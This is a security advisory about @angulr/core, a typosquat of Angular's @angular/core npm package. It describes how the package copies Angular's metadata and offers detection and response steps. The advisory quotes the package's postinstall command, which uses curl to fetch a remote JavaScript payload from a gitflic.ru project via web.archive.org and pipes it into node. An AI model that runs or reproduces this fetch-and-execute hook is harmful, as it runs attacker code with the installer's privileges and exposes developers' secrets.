@angulr/corenpm
Advisory published Updated
@angulr/core is a confirmed malicious npm package (MAL-2026-17538) that executes malicious code on install (malicious version 22.2.1). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in @angulr/core (npm)
What this malware does
The npm package @angulr/core masquerades as Angular's @angular/core by cloning its package.json metadata (description 'Angular - the core framework', author 'angular', repository angular/angular, ng-update packageGroup) while shipping a hostile postinstall script. The postinstall hook runs curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js |... node, piping an unpinned, remotely fetched JavaScript payload directly into Node at install time. The destination is a personal hellscripter project on gitflic.ru fronted via web.archive.org, unrelated to Angular's publisher. Any developer running npm install @angulr/core executes attacker-controlled code with the installer's privileges, with no integrity check and no pinning.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Malicious packageFind it
Search your lockfiles and build artifacts for @angulr/core (version 22.2.1).
If you installed it — respond
Remove @angulr/core from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If @angulr/core was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks @angulr/core-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.